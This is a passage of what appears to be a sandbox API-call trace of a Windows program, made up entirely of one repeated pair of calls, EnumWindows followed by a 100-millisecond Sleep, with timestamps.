lParam=0x410000) [0229.166] Sleep (dwMilliseconds=0x64) [0229.167] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.167] Sleep (dwMilliseconds=0x64) [0229.169] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.169] Sleep (dwMilliseconds=0x64) [0229.170] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.170] Sleep (dwMilliseconds=0x64) [0229.172] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.172] Sleep (dwMilliseconds=0x64) [0229.174] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.174] Sleep (dwMilliseconds=0x64) [0229.176] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.176] Sleep (dwMilliseconds=0x64) [0229.192] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.192] Sleep (dwMilliseconds=0x64) [0229.194] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.195] Sleep (dwMilliseconds=0x64) [0229.198] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.198] Sleep (dwMilliseconds=0x64) [0229.199] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.200] Sleep (dwMilliseconds=0x64) [0229.201] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.201] Sleep (dwMilliseconds=0x64) [0229.274] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.274] Sleep (dwMilliseconds=0x64) [0229.307] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.308] Sleep (dwMilliseconds=0x64) [0229.313] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.313] Sleep (dwMilliseconds=0x64) [0229.314] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.315] Sleep (dwMilliseconds=0x64) [0229.316] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.316] Sleep (dwMilliseconds=0x64) [0229.318] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.318] Sleep (dwMilliseconds=0x64) [0229.320] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.320] Sleep (dwMilliseconds=0x64) [0229.321] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.322] Sleep (dwMilliseconds=0x64) [0229.323] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.323] Sleep (dwMilliseconds=0x64) [0229.324] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.325] Sleep (dwMilliseconds=0x64) [0229.326] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.326] Sleep (dwMilliseconds=0x64) [0229.328] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.328] Sleep (dwMilliseconds=0x64) [0229.329] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.330] Sleep (dwMilliseconds=0x64) [0229.331] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.331] Sleep (dwMilliseconds=0x64) [0229.332] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.333] Sleep (dwMilliseconds=0x64) [0229.334] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.334] Sleep (dwMilliseconds=0x64) [0229.336] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.336] Sleep (dwMilliseconds=0x64) [0229.387] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.387] Sleep (dwMilliseconds=0x64) [0229.461] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.462] Sleep (dwMilliseconds=0x64) [0229.471] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.472] Sleep (dwMilliseconds=0x64) [0229.479] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.482] Sleep (dwMilliseconds=0x64) [0229.490] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.490] Sleep (dwMilliseconds=0x64) [0229.503] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.503] Sleep (dwMilliseconds=0x64) [0229.573] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.573] Sleep (dwMilliseconds=0x64) [0229.583] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.584] Sleep (dwMilliseconds=0x64) [0229.627] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.628] Sleep (dwMilliseconds=0x64) [0229.638] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.638] Sleep (dwMilliseconds=0x64) [0229.640] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.640] Sleep (dwMilliseconds=0x64) [0229.650] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.651] Sleep (dwMilliseconds=0x64) [0229.652] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.653] Sleep (dwMilliseconds=0x64) [0229.654] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.655] Sleep (dwMilliseconds=0x64) [0229.656] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.656] Sleep (dwMilliseconds=0x64) [0229.658] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.658] Sleep (dwMilliseconds=0x64) [0229.708] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.708] Sleep (dwMilliseconds=0x64) [0229.808] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.808] Sleep (dwMilliseconds=0x64) [0229.809] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.809] Sleep (dwMilliseconds=0x64) [0229.824] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.824] Sleep (dwMilliseconds=0x64) [0229.835] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.836] Sleep (dwMilliseconds=0x64) [0229.845] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.846] Sleep (dwMilliseconds=0x64) [0229.878] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.878] Sleep (dwMilliseconds=0x64) [0229.887] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.887] Sleep (dwMilliseconds=0x64) [0229.982] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.982] Sleep (dwMilliseconds=0x64) [0229.984] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.986] Sleep (dwMilliseconds=0x64) [0229.988] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.988] Sleep (dwMilliseconds=0x64) [0229.990] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.990] Sleep (dwMilliseconds=0x64) [0229.992] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.992] Sleep (dwMilliseconds=0x64) [0229.993] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0229.993] Sleep (dwMilliseconds=0x64) [0230.003] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.003] Sleep (dwMilliseconds=0x64) [0230.005] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.005] Sleep (dwMilliseconds=0x64) [0230.007] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.008] Sleep (dwMilliseconds=0x64) [0230.010] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.010] Sleep (dwMilliseconds=0x64) [0230.031] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.031] Sleep (dwMilliseconds=0x64) [0230.127] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.128] Sleep (dwMilliseconds=0x64) [0230.130] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.131] Sleep (dwMilliseconds=0x64) [0230.133] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.133] Sleep (dwMilliseconds=0x64) [0230.222] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.223] Sleep (dwMilliseconds=0x64) [0230.245] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.245] Sleep (dwMilliseconds=0x64) [0230.255] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.256] Sleep (dwMilliseconds=0x64) [0230.265] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.265] Sleep (dwMilliseconds=0x64) [0230.277] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.277] Sleep (dwMilliseconds=0x64) [0230.350] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.350] Sleep (dwMilliseconds=0x64) [0230.388] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.389] Sleep (dwMilliseconds=0x64) [0230.390] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.391] Sleep (dwMilliseconds=0x64) [0230.392] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.393] Sleep (dwMilliseconds=0x64) [0230.402] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.402] Sleep (dwMilliseconds=0x64) [0230.411] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.411] Sleep (dwMilliseconds=0x64) [0230.413] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.413] Sleep (dwMilliseconds=0x64) [0230.414] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.414] Sleep (dwMilliseconds=0x64) [0230.416] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.416] Sleep (dwMilliseconds=0x64) [0230.417] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.417] Sleep (dwMilliseconds=0x64) [0230.418] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.419] Sleep (dwMilliseconds=0x64) [0230.473] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.474] Sleep (dwMilliseconds=0x64) [0230.527] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.527] Sleep (dwMilliseconds=0x64) [0230.529] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.529] Sleep (dwMilliseconds=0x64) [0230.531] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.531] Sleep (dwMilliseconds=0x64) [0230.532] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.532] Sleep (dwMilliseconds=0x64) [0230.534] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.534] Sleep (dwMilliseconds=0x64) [0230.543] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.543] Sleep (dwMilliseconds=0x64) [0230.545] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.545] Sleep (dwMilliseconds=0x64) [0230.547] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.547] Sleep (dwMilliseconds=0x64) [0230.549] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.549] Sleep (dwMilliseconds=0x64) [0230.550] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.550] Sleep (dwMilliseconds=0x64) [0230.552] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.552] Sleep (dwMilliseconds=0x64) [0230.554] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.554] Sleep (dwMilliseconds=0x64) [0230.555] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.555] Sleep (dwMilliseconds=0x64) [0230.557] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.557] Sleep (dwMilliseconds=0x64) [0230.583] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.584] Sleep (dwMilliseconds=0x64) [0230.593] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.593] Sleep (dwMilliseconds=0x64) [0230.664] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.664] Sleep (dwMilliseconds=0x64) [0230.666] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.666] Sleep (dwMilliseconds=0x64) [0230.668] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.668] Sleep (dwMilliseconds=0x64) [0230.670] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.670] Sleep (dwMilliseconds=0x64) [0230.672] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.672] Sleep (dwMilliseconds=0x64) [0230.674] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.674] Sleep (dwMilliseconds=0x64) [0230.675] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.675] Sleep (dwMilliseconds=0x64) [0230.677] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.677] Sleep (dwMilliseconds=0x64) [0230.679] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.679] Sleep (dwMilliseconds=0x64) [0230.680] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.681] Sleep (dwMilliseconds=0x64) [0230.682] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.682] Sleep (dwMilliseconds=0x64) [0230.684] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.684] Sleep (dwMilliseconds=0x64) [0230.685] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.686] Sleep (dwMilliseconds=0x64) [0230.687] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.687] Sleep (dwMilliseconds=0x64) [0230.689] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.689] Sleep (dwMilliseconds=0x64) [0230.690] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.690] Sleep (dwMilliseconds=0x64) [0230.692] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.692] Sleep (dwMilliseconds=0x64) [0230.693] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.693] Sleep (dwMilliseconds=0x64) [0230.786] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.787] Sleep (dwMilliseconds=0x64) [0230.788] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.788] Sleep (dwMilliseconds=0x64) [0230.791] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.791] Sleep (dwMilliseconds=0x64) [0230.793] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.793] Sleep (dwMilliseconds=0x64) [0230.795] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.795] Sleep (dwMilliseconds=0x64) [0230.797] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.797] Sleep (dwMilliseconds=0x64) [0230.799] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.799] Sleep (dwMilliseconds=0x64) [0230.801] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.801] Sleep (dwMilliseconds=0x64) [0230.802] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.802] Sleep (dwMilliseconds=0x64) [0230.804] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.804] Sleep (dwMilliseconds=0x64) [0230.806] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.807] Sleep (dwMilliseconds=0x64) [0230.817] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0230.817] Sleep (dwMilliseconds=0x64) [0231.027] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.027] Sleep (dwMilliseconds=0x64) [0231.042] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.043] Sleep (dwMilliseconds=0x64) [0231.058] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.059] Sleep (dwMilliseconds=0x64) [0231.062] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.063] Sleep (dwMilliseconds=0x64) [0231.065] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.065] Sleep (dwMilliseconds=0x64) [0231.066] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.067] Sleep (dwMilliseconds=0x64) [0231.068] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.069] Sleep (dwMilliseconds=0x64) [0231.070] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.071] Sleep (dwMilliseconds=0x64) [0231.086] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.086] Sleep (dwMilliseconds=0x64) [0231.100] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.100] Sleep (dwMilliseconds=0x64) [0231.182] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.182] Sleep (dwMilliseconds=0x64) [0231.192] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.192] Sleep (dwMilliseconds=0x64) [0231.225] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.225] Sleep (dwMilliseconds=0x64) [0231.227] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.227] Sleep (dwMilliseconds=0x64) [0231.228] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.228] Sleep (dwMilliseconds=0x64) [0231.230] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.230] Sleep (dwMilliseconds=0x64) [0231.231] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.231] Sleep (dwMilliseconds=0x64) [0231.233] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.233] Sleep (dwMilliseconds=0x64) [0231.234] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.234] Sleep (dwMilliseconds=0x64) [0231.236] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.236] Sleep (dwMilliseconds=0x64) [0231.237] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.237] Sleep (dwMilliseconds=0x64) [0231.239] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.239] Sleep (dwMilliseconds=0x64) [0231.242] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.242] Sleep (dwMilliseconds=0x64) [0231.244] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.244] Sleep (dwMilliseconds=0x64) [0231.245] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.246] Sleep (dwMilliseconds=0x64) [0231.247] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.247] Sleep (dwMilliseconds=0x64) [0231.249] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.249] Sleep (dwMilliseconds=0x64) [0231.250] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.250] Sleep (dwMilliseconds=0x64) [0231.252] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.252] Sleep (dwMilliseconds=0x64) [0231.254] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.254] Sleep (dwMilliseconds=0x64) [0231.303] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.303] Sleep (dwMilliseconds=0x64) [0231.351] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.351] Sleep (dwMilliseconds=0x64) [0231.353] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.353] Sleep (dwMilliseconds=0x64) [0231.357] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.358] Sleep (dwMilliseconds=0x64) [0231.360] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.360] Sleep (dwMilliseconds=0x64) [0231.361] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.362] Sleep (dwMilliseconds=0x64) [0231.363] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.364] Sleep (dwMilliseconds=0x64) [0231.365] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.366] Sleep (dwMilliseconds=0x64) [0231.367] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.368] Sleep (dwMilliseconds=0x64) [0231.369] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.369] Sleep (dwMilliseconds=0x64) [0231.371] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.371] Sleep (dwMilliseconds=0x64) [0231.373] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.373] Sleep (dwMilliseconds=0x64) [0231.375] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.375] Sleep (dwMilliseconds=0x64) [0231.377] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.377] Sleep (dwMilliseconds=0x64) [0231.378] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.378] Sleep (dwMilliseconds=0x64) [0231.380] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.380] Sleep (dwMilliseconds=0x64) [0231.427] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.427] Sleep (dwMilliseconds=0x64) [0231.438] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.439] Sleep (dwMilliseconds=0x64) [0231.483] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.484] Sleep (dwMilliseconds=0x64) [0231.497] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.497] Sleep (dwMilliseconds=0x64) [0231.509] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.509] Sleep (dwMilliseconds=0x64) [0231.513] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.513] Sleep (dwMilliseconds=0x64) [0231.580] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.580] Sleep (dwMilliseconds=0x64) [0231.622] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.623] Sleep (dwMilliseconds=0x64) [0231.625] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.625] Sleep (dwMilliseconds=0x64) [0231.638] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.638] Sleep (dwMilliseconds=0x64) [0231.651] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.652] Sleep (dwMilliseconds=0x64) [0231.665] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.666] Sleep (dwMilliseconds=0x64) [0231.723] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.724] Sleep (dwMilliseconds=0x64) [0231.774] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.775] Sleep (dwMilliseconds=0x64) [0231.776] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.776] Sleep (dwMilliseconds=0x64) [0231.778] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.778] Sleep (dwMilliseconds=0x64) [0231.779] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.779] Sleep (dwMilliseconds=0x64) [0231.781] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.781] Sleep (dwMilliseconds=0x64) [0231.783] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.783] Sleep (dwMilliseconds=0x64) [0231.785] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.785] Sleep (dwMilliseconds=0x64) [0231.786] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.786] Sleep (dwMilliseconds=0x64) [0231.788] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.788] Sleep (dwMilliseconds=0x64) [0231.820] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.820] Sleep (dwMilliseconds=0x64) [0231.876] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.877] Sleep (dwMilliseconds=0x64) [0231.957] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.957] Sleep (dwMilliseconds=0x64) [0231.959] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.959] Sleep (dwMilliseconds=0x64) [0231.961] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.961] Sleep (dwMilliseconds=0x64) [0231.965] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.965] Sleep (dwMilliseconds=0x64) [0231.968] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.968] Sleep (dwMilliseconds=0x64) [0231.970] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.970] Sleep (dwMilliseconds=0x64) [0231.983] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.984] Sleep (dwMilliseconds=0x64) [0231.999] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0231.999] Sleep (dwMilliseconds=0x64) [0232.056] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.056] Sleep (dwMilliseconds=0x64) [0232.070] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.070] Sleep (dwMilliseconds=0x64) [0232.198] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.199] Sleep (dwMilliseconds=0x64) [0232.200] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.201] Sleep (dwMilliseconds=0x64) [0232.203] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.203] Sleep (dwMilliseconds=0x64) [0232.207] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.208] Sleep (dwMilliseconds=0x64) [0232.210] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.211] Sleep (dwMilliseconds=0x64) [0232.212] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.213] Sleep (dwMilliseconds=0x64) [0232.224] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.226] Sleep (dwMilliseconds=0x64) [0232.228] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.236] Sleep (dwMilliseconds=0x64) [0232.277] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.277] Sleep (dwMilliseconds=0x64) [0232.286] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.287] Sleep (dwMilliseconds=0x64) [0232.356] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.356] Sleep (dwMilliseconds=0x64) [0232.364] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.365] Sleep (dwMilliseconds=0x64) [0232.366] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.366] Sleep (dwMilliseconds=0x64) [0232.377] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.378] Sleep (dwMilliseconds=0x64) [0232.406] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.406] Sleep (dwMilliseconds=0x64) [0232.421] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.421] Sleep (dwMilliseconds=0x64) [0232.507] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.508] Sleep (dwMilliseconds=0x64) [0232.517] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.518] Sleep (dwMilliseconds=0x64) [0232.526] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.527] Sleep (dwMilliseconds=0x64) [0232.528] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.528] Sleep (dwMilliseconds=0x64) [0232.531] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.531] Sleep (dwMilliseconds=0x64) [0232.533] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.533] Sleep (dwMilliseconds=0x64) [0232.615] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.615] Sleep (dwMilliseconds=0x64) [0232.645] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.645] Sleep (dwMilliseconds=0x64) [0232.647] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.647] Sleep (dwMilliseconds=0x64) [0232.648] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.648] Sleep (dwMilliseconds=0x64) [0232.650] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.650] Sleep (dwMilliseconds=0x64) [0232.651] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.651] Sleep (dwMilliseconds=0x64) [0232.653] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.653] Sleep (dwMilliseconds=0x64) [0232.654] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.654] Sleep (dwMilliseconds=0x64) [0232.656] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.656] Sleep (dwMilliseconds=0x64) [0232.658] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.658] Sleep (dwMilliseconds=0x64) [0232.667] EnumWindows 